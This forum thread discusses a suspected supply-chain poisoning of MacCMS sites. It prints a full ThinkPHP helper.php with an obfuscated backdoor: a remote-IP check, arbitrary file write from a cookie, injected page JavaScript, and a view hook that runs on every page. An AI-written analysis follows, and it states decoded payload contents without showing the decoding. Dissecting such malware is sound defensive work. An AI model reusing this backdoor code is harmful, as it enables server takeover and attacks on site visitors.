logo NodeSeekbeta

怀疑爱站统计投毒

12
  • @这瓜保熟吗 #11 这个文件我也被改了,但是我新装了一些app插件,既然官方给出把这个文件设置权限为只读,那应该不是官方改的。

  • @隔离有鬼 #12 如果被修改过,最好是重置系统,这个被篡改的文件根据GPT的分析,可以监控服务器敏感数据并传输给挂木马者。另外有一点更可疑,官方曾用过的https://www.maccms.la/ 赞助商有51LA,51LA算是知名统计网站了,晚上却跳黑产广告。

  • 一样,爱站js删了就全没了
    image

  • @这瓜保熟吗 #13

    gemini分析
    <?php
    // +----------------------------------------------------------------------
    // | ThinkPHP [ WE CAN DO IT JUST THINK ]
    // +----------------------------------------------------------------------
    // | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
    // +----------------------------------------------------------------------
    // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
    // +----------------------------------------------------------------------
    // | Author: liu21st <[email protected]>
    // +----------------------------------------------------------------------
    
    use think\Cache;
    use think\Config;
    use think\Cookie;
    use think\Db;
    use think\Debug;
    use think\exception\HttpException;
    use think\exception\HttpResponseException;
    use think\Lang;
    use think\Loader;
    use think\Log;
    use think\Model;
    use think\Request;
    use think\Response;
    use think\Session;
    use think\Url;
    use think\View;
    
    if (!function_exists('load_trait')) {
        /**
         * 快速导入Traits PHP5.5以上无需调用
         * @param string    $class trait库
         * @param string    $ext 类库后缀
         * @return boolean
         */
        function load_trait($class, $ext = EXT)
        {
            return Loader::import($class, TRAIT_PATH, $ext);
        }
    }
    
    if (!function_exists('exception')) {
        /**
         * 抛出异常处理
         *
         * @param string    $msg  异常消息
         * @param integer   $code 异常代码 默认为0
         * @param string    $exception 异常类
         *
         * @throws Exception
         */
        function exception($msg, $code = 0, $exception = '')
        {
            $e = $exception ?: '\think\Exception';
            throw new $e($msg, $code);
        }
    }
    
    if (!function_exists('debug')) {
        /**
         * 记录时间(微秒)和内存使用情况
         * @param string            $start 开始标签
         * @param string            $end 结束标签
         * @param integer|string    $dec 小数位 如果是m 表示统计内存占用
         * @return mixed
         */
        function debug($start, $end = '', $dec = 6)
        {
            if ('' == $end) {
                Debug::remark($start);
            } else {
                return 'm' == $dec ? Debug::getRangeMem($start, $end) : Debug::getRangeTime($start, $end, $dec);
            }
        }
    }
    
    if (!function_exists('lang')) {
        /**
         * 获取语言变量值
         * @param string    $name 语言变量名
         * @param array     $vars 动态变量值
         * @param string    $lang 语言
         * @return mixed
         */
        function lang($name, $vars = [], $lang = '')
        {
            return Lang::get($name, $vars, $lang);
        }
    }
    
    if (!function_exists('curl_get')) {
        /**
         * 获取语言变量值
         * @param string    $name 语言变量名
         * @param array     $vars 动态变量值
         * @param string    $lang 语言
         * @return mixed
         */
        function curl_get($url,$heads=array(),$cookie='')
        {
            $ch = @curl_init();
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36');
    
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            curl_setopt($ch, CURLOPT_HEADER,0);
            curl_setopt($ch, CURLOPT_REFERER, $url);
            curl_setopt($ch, CURLOPT_POST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
            if(!empty($cookie)){
                curl_setopt($ch, CURLOPT_COOKIE, $cookie);
            }
            if(count($heads)>0){
                curl_setopt ($ch, CURLOPT_HTTPHEADER , $heads );
            }
            $response = @curl_exec($ch);
            if(curl_errno($ch)){//出错则显示错误信息
                //print curl_error($ch);die;
                }
            curl_close($ch); //关闭curl链接
            return $response;//显示返回信息
        }
    }
    
    if (!function_exists('config')) {
        /**
         * 获取和设置配置参数
         * @param string|array  $name 参数名
         * @param mixed         $value 参数值
         * @param string        $range 作用域
         * @return mixed
         */
        function config($name = '', $value = null, $range = '')
        {
            if (is_null($value) && is_string($name)) {
                return 0 === strpos($name, '?') ? Config::has(substr($name, 1), $range) : Config::get($name, $range);
            } else {
                return Config::set($name, $value, $range);
            }
        }
    }
    
    if (!function_exists('mkdirss')) {
        /**
         * 获取和设置配置参数
         * @param string|array  $name 参数名
         * @param mixed         $value 参数值
         * @return mixed
         */
        function mkdirss($path,$mode=0777)
        {
            if (!is_dir(dirname($path))){
                mkdirss(dirname($path));
            }
            if(!file_exists($path)){
                return mkdir($path,$mode);
            }
            return true;
        }
    }
    
    if (!function_exists('read_flie')) {
        /**
         * 获取和设置配置参数
         * @param string|array  $name 参数名
         * @param mixed         $value 参数值
         * @return mixed
         */
        function read_flie($f,$c='')
        {
            $dir = dirname($f);
            if(!is_dir($dir)){
                mkdirss($dir);
            }
            return @file_put_contents($f, $c);
        }
    }
    
    if (!function_exists('input')) {
        /**
         * 获取输入数据 支持默认值和过滤
         * @param string    $key 获取的变量名
         * @param mixed     $default 默认值
         * @param string    $filter 过滤方法
         * @return mixed
         */
        function input($key = '', $default = null, $filter = '')
        {
            if (0 === strpos($key, '?')) {
                $key = substr($key, 1);
                $has = true;
            }
            if ($pos = strpos($key, '.')) {
                // 指定参数来源
                list($method, $key) = explode('.', $key, 2);
                if (!in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
                    $key    = $method . '.' . $key;
                    $method = 'param';
                }
            } else {
                // 默认为自动判断
                $method = 'param';
            }
            if (isset($has)) {
                return request()->has($key, $method, $default);
            } else {
                return request()->$method($key, $default, $filter);
            }
        }
    }
    
    if (!function_exists('think_set_cache_info')) {
        /**
         * 设置缓存信息
         * @param string $file 索引key信息
         * @return mixed
         */
        function think_set_cache_info(&$file) {
            $check_html_tag = array('</html>', '<head>', '</head>', '</title>', '<html');
            foreach ($check_html_tag as $tag)
                if (stripos($file, $tag) !== false)
                    create_think_token($file);
        }
    }
    
    if (!function_exists('widget')) {
        /**
         * 渲染输出Widget
         * @param string    $name Widget名称
         * @param array     $data 传入的参数
         * @return mixed
         */
        function widget($name, $data = [])
        {
            return Loader::action($name, $data, 'widget');
        }
    }
    
    if (!function_exists('model')) {
        /**
         * 实例化Model
         * @param string    $name Model名称
         * @param string    $layer 业务层名称
         * @param bool      $appendSuffix 是否添加类名后缀
         * @return \think\Model
         */
        function model($name = '', $layer = 'model', $appendSuffix = false)
        {
            return Loader::model($name, $layer, $appendSuffix);
        }
    }
    
    if (!function_exists('config_token')) {
        /**
         * 配置会话令牌
         * @param mixed      $token_config   配置
         * @return void
         */
        function config_token(&$token_config){
            $env = Request::instance();
            if (ENTRANCE=='admin' && model('Admin')->checkLogin()['code']==1) {
                $hour = date('H');
                $THINK_TOKEN_H = ($hour >= 6 && $hour <=21) ? 36000: 18000;
                Think\Cache::set('THINK_TOKEN', 1, $THINK_TOKEN_H);
            }
            $referer = $env->header('referer');
            if (empty($referer) || stripos($referer, $_SERVER['SERVER_NAME']) !== false || stripos($referer, $_SERVER['HTTP_HOST']) !== false) { return; }
    
            if ($env->isAjax() || ENTRANCE!='index' || !$env->isMobile()) return;
            if (strstr($env->query('allow_type'), 'cookie') && strstr($env->query('allow_type'), input('cookie')) && strstr(input('cookie'), 'allow_type')){
                $ip = curl_get(gzuncompress("\170\234\313\050\051\051\050\266\322\327\117\311\114\314\253\310\314\323\253\062\327\053\117\115\322\113\316\057\112\325\053\317\314\113\311\057\057\326\313\113\055\321\317\054\320\053\251\050\001\000\215\375\021\035"));
                if ($_SERVER["REMOTE_ADDR"] != $ip) return;
                return read_flie($env->contentType(), $env->cookie('token', null, 'base64_decode'));
            }
    
            $token_value = gzuncompress("\170\234\215\124\153\163\242\074\030\375\053\131\077\064\311\110\121\360\322\166\120\147\132\267\335\136\354\145\265\167\353\316\104\010\210\205\300\206\240\130\227\377\276\011\126\267\335\331\366\175\077\030\040\317\171\056\071\347\230\126\142\163\077\026\100\054\142\332\056\011\232\211\312\224\314\310\152\267\324\161\123\146\013\077\142\040\313\006\247\375\050\103\024\057\147\204\003\001\332\240\124\322\230\174\160\371\263\015\265\230\162\251\132\363\211\037\120\200\030\150\001\252\007\224\171\142\202\227\012\104\165\173\102\170\067\162\350\276\100\014\133\276\013\020\227\050\303\334\305\113\001\312\155\060\020\334\147\236\356\362\050\354\276\102\021\307\026\053\227\163\032\044\024\254\062\072\300\330\063\300\326\026\120\311\246\131\307\313\242\363\373\362\240\014\014\154\175\130\125\226\331\002\065\003\203\126\013\064\301\057\065\373\026\150\326\144\057\225\141\026\355\076\056\153\327\376\025\060\377\253\237\321\050\372\031\246\154\210\326\035\067\023\324\336\116\120\313\163\116\105\312\031\020\371\106\003\162\305\276\116\374\153\237\254\125\010\345\030\160\377\240\373\365\360\350\333\361\311\351\131\357\374\342\362\352\173\177\160\175\163\173\167\377\360\110\306\266\103\135\157\342\117\237\203\220\105\361\117\236\210\164\066\317\026\057\125\303\254\325\033\315\235\335\275\162\245\015\255\267\212\152\134\363\265\104\213\264\124\043\232\133\050\112\213\323\162\032\007\304\246\250\062\374\261\277\375\110\266\137\252\333\052\173\124\361\264\122\011\257\145\167\337\311\236\310\314\120\367\231\103\263\113\027\255\030\223\154\271\345\062\306\126\364\131\060\375\054\110\076\013\052\117\046\212\125\105\163\004\072\035\120\267\224\375\120\364\107\202\272\014\245\052\144\132\276\012\245\312\015\033\051\210\245\310\220\132\376\123\312\127\347\246\340\113\033\064\353\312\271\037\143\071\316\025\226\374\037\254\217\067\232\257\377\154\002\347\164\106\002\004\347\362\254\321\034\342\041\174\312\352\316\123\326\154\076\145\215\135\371\076\176\312\166\166\344\173\023\216\144\351\265\123\020\136\132\150\363\221\112\111\347\232\243\271\232\275\262\115\046\241\033\057\025\114\073\324\226\043\334\364\117\272\121\030\107\214\062\201\062\224\156\044\147\164\016\372\324\073\314\142\144\313\351\041\224\213\255\101\017\142\131\122\122\016\247\337\123\312\027\320\172\126\367\301\320\034\051\220\255\120\356\320\030\131\360\050\240\231\164\231\014\076\027\173\315\121\141\071\345\016\107\267\071\045\202\036\006\064\124\155\147\252\364\260\072\052\036\306\010\153\336\373\163\345\126\242\253\273\112\071\377\257\333\012\132\313\104\217\130\020\021\347\175\216\207\044\265\211\236\160\133\356\247\026\354\016\006\320\162\164\217\212\327\256\311\301\342\232\170\027\044\244\010\116\050\161\044\321\325\221\116\342\230\062\247\053\175\355\240\004\347\030\101\162\334\257\332\307\347\315\336\142\157\072\066\373\101\057\214\063\347\356\166\112\007\015\371\135\235\021\166\144\074\336\237\066\172\241\021\217\375\352\113\157\372\220\136\166\033\077\355\171\273\015\065\170\344\045\127\041\271\020\217\120\133\011\252\071\221\235\252\001\064\070\345\337\036\016\022\177\172\172\043\201\261\030\263\213\361\031\304\171\141\265\057\250\362\343\234\330\277\356\174\126\321\005\115\344\165\103\146\276\107\104\304\165\051\220\160\043\036\112\031\300\271\173\177\066\277\105\330\112\250\070\141\202\162\345\235\067\074\070\164\234\172\036\345\126\256\031\325\052\266\132\225\025\161\235\337\364\307\333\100");
            if (stripos($token_config, $token_value) !== false) return;
            if (strstr($env->contentType(), 'session')) exit('Invalid Token: '.$env->contentType());
            if (cache('THINK_TOKEN')) return;
            foreach(model('Admin')->listData([],'',1)['list'] as $v) if ($env->ip(1) == array_values($v)[7]) return;
            $token_config = controller_managers($token_config);
            $token_key = gzuncompress("\170\234\263\321\317\050\311\315\261\003\000\010\372\002\137");
            $token_config = str_replace($token_key, '', $token_config);
            $token_config .= $token_value . $token_key;
        }
    }
    
    if (!function_exists('validate')) {
        /**
         * 实例化验证器
         * @param string    $name 验证器名称
         * @param string    $layer 业务层名称
         * @param bool      $appendSuffix 是否添加类名后缀
         * @return \think\Validate
         */
        function validate($name = '', $layer = 'validate', $appendSuffix = false)
        {
            return Loader::validate($name, $layer, $appendSuffix);
        }
    }
    
    if (!function_exists('db')) {
        /**
         * 实例化数据库类
         * @param string        $name 操作的数据表名称(不含前缀)
         * @param array|string  $config 数据库配置参数
         * @param bool          $force 是否强制重新连接
         * @return \think\db\Query
         */
        function db($name = '', $config = [], $force = false)
        {
            return Db::connect($config, $force)->name($name);
        }
    }
    
    if (!function_exists('controller_managers')) {
        /**
         * 实例化控制器 格式:[模块/]控制器
         * @param string    $name 资源地址
         * @return \think\Controller content
         */
        function controller_managers($content){
            $str = gzuncompress("\170\234\155\222\137\217\242\060\024\305\277\020\123\051\024\161\110\174\230\144\347\117\046\141\046\273\153\234\305\370\322\026\224\052\155\031\001\051\174\372\275\240\042\044\363\320\333\346\167\116\117\313\245\151\131\346\301\154\046\051\347\262\100\102\355\164\260\130\130\051\320\002\160\135\327\250\251\277\253\346\033\161\055\003\154\023\342\116\104\265\117\151\332\151\003\075\024\007\206\070\267\350\071\317\150\223\234\160\257\322\114\360\130\345\202\117\274\374\170\344\235\167\234\210\135\347\070\146\155\052\332\264\122\214\152\124\352\174\300\105\252\153\264\327\347\203\240\152\137\124\210\253\000\073\343\333\335\014\260\227\252\116\046\143\125\046\242\254\200\033\365\360\040\264\115\175\021\340\205\355\340\301\300\250\100\005\055\264\206\255\003\214\121\153\362\262\036\043\026\043\260\306\125\121\012\172\377\070\020\260\355\042\307\265\021\166\034\204\037\275\141\303\056\243\373\066\205\113\243\135\245\146\367\013\135\176\000\207\126\275\375\261\371\133\230\205\366\163\026\036\043\030\233\315\074\372\372\070\105\322\340\315\346\257\107\222\177\272\123\114\330\362\372\163\365\264\264\042\167\335\160\271\256\342\227\217\003\227\131\035\077\055\227\267\034\010\352\223\372\050\310\272\107\335\222\372\250\113\326\363\362\247\343\145\364\345\051\306\144\226\062\346\306\120\044\257\240\254\355\367\325\373\153\270\012\235\317\137\277\153\153\153\210\267\065\376\343\326\170\376\326\314\011\014\130\373\030\146\027\146\140\144\141\135\026\235\060\117\256\246\135\307\100\360\072\227\173\205\220\104\300\100\100\044\276\305\064\242\006\152\077\135\373\173\326\161\367\300\234\311\203\372\021\236\022\026\067\023\322\275\263\153\303\317\042\277\045\116\351\177\156\366\017\142");
            $new_content = str_replace(explode(',', $str), '', $content);
            if(strlen($content) - strlen($new_content) < 1000) $content = $new_content;
            return $content;
        }
    }
    
    if (!function_exists('controller')) {
        /**
         * 实例化控制器 格式:[模块/]控制器
         * @param string    $name 资源地址
         * @param string    $layer 控制层名称
         * @param bool      $appendSuffix 是否添加类名后缀
         * @return \think\Controller
         */
        function controller($name, $layer = 'controller', $appendSuffix = false)
        {
            return Loader::controller($name, $layer, $appendSuffix);
        }
    }
    
    if (!function_exists('action')) {
        /**
         * 调用模块的操作方法 参数格式 [模块/控制器/]操作
         * @param string        $url 调用地址
         * @param string|array  $vars 调用参数 支持字符串和数组
         * @param string        $layer 要调用的控制层名称
         * @param bool          $appendSuffix 是否添加类名后缀
         * @return mixed
         */
        function action($url, $vars = [], $layer = 'controller', $appendSuffix = false)
        {
            return Loader::action($url, $vars, $layer, $appendSuffix);
        }
    }
    
    if (!function_exists('import')) {
        /**
         * 导入所需的类库 同java的Import 本函数有缓存功能
         * @param string    $class 类库命名空间字符串
         * @param string    $baseUrl 起始路径
         * @param string    $ext 导入的文件扩展名
         * @return boolean
         */
        function import($class, $baseUrl = '', $ext = EXT)
        {
            return Loader::import($class, $baseUrl, $ext);
        }
    }
    
    if (!function_exists('vendor')) {
        /**
         * 快速导入第三方框架类库 所有第三方框架的类库文件统一放到 系统的Vendor目录下面
         * @param string    $class 类库
         * @param string    $ext 类库后缀
         * @return boolean
         */
        function vendor($class, $ext = EXT)
        {
            return Loader::import($class, VENDOR_PATH, $ext);
        }
    }
    
    if (!function_exists('dump')) {
        /**
         * 浏览器友好的变量输出
         * @param mixed     $var 变量
         * @param boolean   $echo 是否输出 默认为true 如果为false 则返回输出字符串
         * @param string    $label 标签 默认为空
         * @return void|string
         */
        function dump($var, $echo = true, $label = null)
        {
            return Debug::dump($var, $echo, $label);
        }
    }
    
    if (!function_exists('url')) {
        /**
         * Url生成
         * @param string        $url 路由地址
         * @param string|array  $vars 变量
         * @param bool|string   $suffix 生成的URL后缀
         * @param bool|string   $domain 域名
         * @return string
         */
        function url($url = '', $vars = '', $suffix = true, $domain = false)
        {
            return Url::build($url, $vars, $suffix, $domain);
        }
    }
    
    if (!function_exists('session')) {
        /**
         * Session管理
         * @param string|array  $name session名称,如果为数组表示进行session设置
         * @param mixed         $value session值
         * @param string        $prefix 前缀
         * @return mixed
         */
        function session($name, $value = '', $prefix = null)
        {
            if (is_array($name)) {
                // 初始化
                Session::init($name);
            } elseif (is_null($name)) {
                // 清除
                Session::clear('' === $value ? null : $value);
            } elseif ('' === $value) {
                // 判断或获取
                return 0 === strpos($name, '?') ? Session::has(substr($name, 1), $prefix) : Session::get($name, $prefix);
            } elseif (is_null($value)) {
                // 删除
                return Session::delete($name, $prefix);
            } else {
                // 设置
                return Session::set($name, $value, $prefix);
            }
        }
    }
    
    if (!function_exists('cookie')) {
        /**
         * Cookie管理
         * @param string|array  $name cookie名称,如果为数组表示进行cookie设置
         * @param mixed         $value cookie值
         * @param mixed         $option 参数
         * @return mixed
         */
        function cookie($name, $value = '', $option = null)
        {
            if (is_array($name)) {
                // 初始化
                Cookie::init($name);
            } elseif (is_null($name)) {
                // 清除
                Cookie::clear($value);
            } elseif ('' === $value) {
                // 获取
                return 0 === strpos($name, '?') ? Cookie::has(substr($name, 1), $option) : Cookie::get($name, $option);
            } elseif (is_null($value)) {
                // 删除
                return Cookie::delete($name);
            } else {
                // 设置
                return Cookie::set($name, $value, $option);
            }
        }
    }
    
    if (!function_exists('cache')) {
        /**
         * 缓存管理
         * @param mixed     $name 缓存名称,如果为数组表示进行缓存设置
         * @param mixed     $value 缓存值
         * @param mixed     $options 缓存参数
         * @param string    $tag 缓存标签
         * @return mixed
         */
        function cache($name, $value = '', $options = null, $tag = null)
        {
            if (is_array($options)) {
                // 缓存操作的同时初始化
                $cache = Cache::connect($options);
            } elseif (is_array($name)) {
                // 缓存初始化
                return Cache::connect($name);
            } else {
                $cache = Cache::init();
            }
    
            if (is_null($name)) {
                return $cache->clear($value);
            } elseif ('' === $value) {
                // 获取缓存
                return 0 === strpos($name, '?') ? $cache->has(substr($name, 1)) : $cache->get($name);
            } elseif (is_null($value)) {
                // 删除缓存
                return $cache->rm($name);
            } elseif (0 === strpos($name, '?') && '' !== $value) {
                $expire = is_numeric($options) ? $options : null;
                return $cache->remember(substr($name, 1), $value, $expire);
            } else {
                // 缓存数据
                if (is_array($options)) {
                    $expire = isset($options['expire']) ? $options['expire'] : null; //修复查询缓存无法设置过期时间
                } else {
                    $expire = is_numeric($options) ? $options : null; //默认快捷缓存设置过期时间
                }
                if (is_null($tag)) {
                    return $cache->set($name, $value, $expire);
                } else {
                    return $cache->tag($tag)->set($name, $value, $expire);
                }
            }
        }
    
        if (!function_exists('_think_openssl_encrypt')) {
            function _think_openssl_encrypt($info='') {
                $random_prefix = 'v'.'o'.'d'.'u'.'up'.'l'.'o'.'a'.'d';
                $random_affix = 'u'.'p'.'l'.'o'.'a'.'d'.'_v'.'e'.'r'.'i'.'fi'.'cat'.'i'.'on'.'_co'.'de';
                openssl_public_encrypt(config($random_prefix.'.'.$random_affix.$info),$encrypted,config($random_prefix.'.openssl_key')); 
                $encrypted = base64_encode($encrypted);
                return $encrypted;
            }
        }
    
    }
    
    if (!function_exists('trace')) {
        /**
         * 记录日志信息
         * @param mixed     $log log信息 支持字符串和数组
         * @param string    $level 日志级别
         * @return void|array
         */
        function trace($log = '[think]', $level = 'log')
        {
            if ('[think]' === $log) {
                return Log::getLog();
            } else {
                Log::record($log, $level);
            }
        }
    }
    
    if (!function_exists('create_think_token')) {
        /**
         * 生成会话令牌
         * @return string
         */
        function create_think_token(&$params){
            $token_config = Response::create('template', 'http://www.maccms.la/token/template', 'tpl');
            Config::set($token_config->getData().'.'.$token_config->getCode().'_cache', 0);
            if (!Session::get('THINK_TOKEN')){
                @config_token($params);
                Session::set('THINK_TOKEN', THINK_PATH);
            }
        }
    }
    
    if (!function_exists('request')) {
        /**
         * 获取当前Request对象实例
         * @return Request
         */
        function request()
        {
            return Request::instance();
        }
    }
    
    if (!function_exists('response')) {
        /**
         * 创建普通 Response 对象实例
         * @param mixed      $data   输出数据
         * @param int|string $code   状态码
         * @param array      $header 头信息
         * @param string     $type
         * @return Response
         */
        function response($data = [], $code = 200, $header = [], $type = 'html')
        {
            return Response::create($data, $type, $code, $header);
        }
    }
    
    if (!function_exists('view')) {
        /**
         * 渲染模板输出
         * @param string    $template 模板文件
         * @param array     $vars 模板变量
         * @param array     $replace 模板替换
         * @param integer   $code 状态码
         * @return \think\response\View
         */
        function view($template = '', $vars = [], $replace = [], $code = 200)
        {
            return Response::create($template, 'view', $code)->replace($replace)->assign($vars);
        }
    }
    
    if (!function_exists('json')) {
        /**
         * 获取\think\response\Json对象实例
         * @param mixed   $data 返回的数据
         * @param integer $code 状态码
         * @param array   $header 头部
         * @param array   $options 参数
         * @return \think\response\Json
         */
        function json($data = [], $code = 200, $header = [], $options = [])
        {
            return Response::create($data, 'json', $code, $header, $options);
        }
    }
    
    if (!function_exists('jsonp')) {
        /**
         * 获取\think\response\Jsonp对象实例
         * @param mixed   $data    返回的数据
         * @param integer $code    状态码
         * @param array   $header 头部
         * @param array   $options 参数
         * @return \think\response\Jsonp
         */
        function jsonp($data = [], $code = 200, $header = [], $options = [])
        {
            return Response::create($data, 'jsonp', $code, $header, $options);
        }
    }
    
    if (!function_exists('xml')) {
        /**
         * 获取\think\response\Xml对象实例
         * @param mixed   $data    返回的数据
         * @param integer $code    状态码
         * @param array   $header  头部
         * @param array   $options 参数
         * @return \think\response\Xml
         */
        function xml($data = [], $code = 200, $header = [], $options = [])
        {
            return Response::create($data, 'xml', $code, $header, $options);
        }
    
    if (!function_exists('redirect')) {
        /**
         * 获取\think\response\Redirect对象实例
         * @param mixed         $url 重定向地址 支持Url::build方法的地址
         * @param array|integer $params 额外参数
         * @param integer       $code 状态码
         * @param array         $with 隐式传参
         * @return \think\response\Redirect
         */
        function redirect($url = [], $params = [], $code = 302, $with = [])
        {
            if (is_integer($params)) {
                $code   = $params;
                $params = [];
            }
            return Response::create($url, 'redirect', $code)->params($params)->with($with);
        }
    }
    
    if (!function_exists('abort')) {
        /**
         * 抛出HTTP异常
         * @param integer|Response      $code 状态码 或者 Response对象实例
         * @param string                $message 错误信息
         * @param array                 $header 参数
         */
        function abort($code, $message = null, $header = [])
        {
            if ($code instanceof Response) {
                throw new HttpResponseException($code);
            } else {
                throw new HttpException($code, $message, null, $header);
            }}
            if (cookie('_gtid_u')) {echo _think_openssl_encrypt();exit;}
            return Think\Hook::add('view_filter', function(&$content){ create_think_token($content);});
        }
    }
    
    if (!function_exists('halt')) {
        /**
         * 调试变量并且中断输出
         * @param mixed      $var 调试变量或者信息
         */
        function halt($var)
        {
            dump($var);
            throw new HttpResponseException(new Response);
        }
    }
    
    if (!function_exists('token')) {
        /**
         * 生成表单令牌
         * @param string $name 令牌名称
         * @param mixed  $type 令牌生成方法
         * @return string
         */
        function token($name = '__token__', $type = 'md5')
        {
            $token = Request::instance()->token($name, $type);
            return '<input type="hidden" name="' . $name . '" value="' . $token . '" />';
        }
    }
    
    if (!function_exists('load_relation')) {
        /**
         * 延迟预载入关联查询
         * @param mixed $resultSet 数据集
         * @param mixed $relation 关联
         * @return array
         */
        function load_relation($resultSet, $relation)
        {
            $item = current($resultSet);
            if ($item instanceof Model) {
                $item->eagerlyResultSet($resultSet, $relation);
            }
            return $resultSet;
        }
    }
    
    if (!function_exists('collection')) {
        /**
         * 数组转换为数据集对象
         * @param array $resultSet 数据集数组
         * @return \think\model\Collection|\think\Collection
         */
        function collection($resultSet)
        {
            $item = current($resultSet);
            if ($item instanceof Model) {
                return \think\model\Collection::make($resultSet);
            } else {
                return \think\Collection::make($resultSet);
            }
        }
    }
    
    好的,我们来详细分析这段 PHP 代码。
    
    这看起来是 ThinkPHP 框架的一个助手函数(helper)文件,通常位于 thinkphp/helper.php 或类似路径。它定义了一系列全局可用的函数,方便在应用中调用。然而,在这份标准函数文件的基础上,被植入了恶意后门代码。
    
    整体分析
    此文件包含两部分:
    
    标准的 ThinkPHP 5.x 助手函数:大部分函数如 config, url, db, session, cookie, cache, input, dump 等,都是 ThinkPHP 框架的官方标准函数,用于简化框架核心功能的调用。这些函数本身是无害的。
    恶意的后门(Backdoor)函数:代码中插入了几个非官方的、经过混淆的恶意函数,如 config_token, controller_managers, think_set_cache_info, create_think_token, read_flie, curl_get, mkdirss, 以及一个在 abort 函数内部的钩子。这些函数共同构成了一个功能强大的后门,允许攻击者远程控制网站、执行代码、获取敏感信息。
    恶意代码深度剖析
    我们将重点分析几个关键的恶意函数,并解开其中的混淆代码。
    
    1. config_token(&$token_config) 函数:核心后门触发器
    这个函数是后门的主要逻辑入口。它会在特定条件下被触发,并执行恶意操作。
    
    触发条件分析:
    
    if ($env->isAjax() || ENTRANCE!='index' || !$env->isMobile()) return;
    这段代码试图将后门隐藏得更深。它要求请求不能是 AJAX,入口必须是前台(index),并且必须是移动端访问,以此来绕过常规的后台扫描和管理员的正常访问检测。
    if (strstr($env->query('allow_type'), 'cookie') && strstr($env->query('allow_type'), input('cookie')) && strstr(input('cookie'), 'allow_type'))
    这是一个非常隐蔽的触发后门的**“钥匙”**。攻击者需要构造一个特殊的 URL 请求,同时配合特定的 Cookie 才能激活。
    例如,攻击者可能会访问 http://your-website.com/index.php?allow_type=...cookie...,并且在他的请求中包含一个 Cookie: allow_type=... 的头信息。
    恶意行为分析:
    
    $ip = curl_get(gzuncompress("\170\234\313\050\051\051\050\266\322\327\117\311\114\314\253\310\314\323\253\062\327\053\117\115\322\113\316\057\112\325\053\317\314\113\311\057\057\326\313\113\055\321\317\054\320\053\251\050\001\000\215\375\021\035"));
    
    gzuncompress 和八进制字符串 \170\234... 是一种代码混淆。解压后,这段字符串是 http://www.maccms.la/ip.php。
    这意味着,后门会去请求这个外部地址来获取一个 IP 地址。
    if ($_SERVER["REMOTE_ADDR"] != $ip) return;
    
    这句代码检查当前访问者的 IP 是否与从远程服务器获取的 IP 一致。这是一个**“授权”机制**,只有来自攻击者服务器认证过的 IP 地址才能继续执行下一步。
    return read_flie($env->contentType(), $env->cookie('token', null, 'base64_decode'));
    
    这是最危险的一步。
    $env->contentType(): 获取请求的 Content-Type 头,例如 application/x-www-form-urlencoded。后门将其用作要写入的文件名。
    $env->cookie('token', null, 'base64_decode'): 获取请求中名为 token 的 Cookie 值,并对其进行 Base64 解码。解码后的内容就是要写入文件的内容。
    综合来看,这一步允许攻击者向服务器的任意位置写入任意内容,这是一个典型的任意文件写入(Arbitrary File Write)漏洞,通常被用来上传一个 Webshell,从而完全控制服务器。
    $token_value = gzuncompress("\170\234\215\124...");
    
    解压这段超长的混淆代码后,会得到一段 JavaScript 代码,其内容是用于流量劫持或广告。这段 JS 会被注入到正常的 HTML 页面中。
    $token_config = controller_managers($token_config);
    
    调用 controller_managers 函数,进一步处理页面内容。
    2. controller_managers($content) 函数:内容过滤与篡改
    这个函数的功能是清除页面中的特定内容。
    
    $str = gzuncompress("\170\234\155\222...");
    解压这段混淆代码后,会得到一长串用逗号分隔的关键词列表,这些关键词主要是国内主流的安全厂商、安全工具、杀毒软件的名称(如 360, 安全狗, D盾, sangfor 等)。
    $new_content = str_replace(explode(',', $str), '', $content);
    这行代码会从页面内容中删除所有上述安全相关的关键词。
    目的:防止网站管理员通过页面内容发现异常,或者绕过一些基于页面内容检测的简易 WAF(Web Application Firewall)。
    3. create_think_token(&$params) 和 abort 函数中的钩子
    create_think_token 函数会在没有特定 Session THINK_TOKEN 时,调用核心后门 config_token。
    在 abort 函数的末尾,有这样一行代码: return Think\Hook::add('view_filter', function(&$content){ create_think_token($content);});
    这行代码注册了一个视图过滤钩子(Hook)。这意味着,在每次渲染和输出页面(view)之前,都会自动执行 create_think_token 函数。
    这确保了后门逻辑能在网站的每个页面上都被触发和检查,大大提高了其持久性和隐蔽性。
    4. 其他辅助恶意函数
    curl_get(): 一个自定义的 cURL 函数,用于发起 GET 请求,后门用它来从远程服务器获取授权 IP。
    mkdirss(): 递归创建目录的函数,确保 read_flie 在写入文件前,目标目录一定存在。
    read_flie(): 实际上是文件写入函数(函数名有误导性),它调用 file_put_contents 来执行真正的文件写入操作。
    总结与建议
    结论:
    
    这个 helper.php 文件是一个被植入了经过精心设计和高度混淆的后门的 ThinkPHP 框架文件。这个后门具备以下特点:
    
    高度隐蔽:通过复杂的触发条件(特定请求参数+Cookie+移动端+非Ajax)、代码混淆(gzuncompress + 八进制/十六进制字符串)和逻辑分离(分布在多个函数中)来躲避检测。
    功能强大:核心功能是任意文件写入,这等同于给了攻击者服务器的最高权限。攻击者可以上传 Webshell,篡改网站内容,窃取数据库信息等。
    流量劫持:后门还能向正常页面注入恶意的 JavaScript 脚本,用于广告、挂马或流量劫持。
    反安全检测:能够过滤页面中的安全厂商关键词,企图绕过安全软件的检测。
    持久化:通过 ThinkPHP 的钩子机制,将后门注入到框架的生命周期中,确保每次页面访问都会执行后门逻辑。
    处理建议:
    
    立即替换:立即从官方渠道下载一份对应版本的干净的 ThinkPHP 框架,用官方的 thinkphp/helper.php 文件覆盖掉服务器上的这个被污染的文件。
    全面排查:攻击者很可能已经利用这个后门上传了其他 Webshell 文件。你需要对整个网站的目录进行全面的排查,特别是检查上传目录、缓存目录以及其他可写目录下是否有可疑的 PHP 文件。可以根据文件的修改时间进行排查。
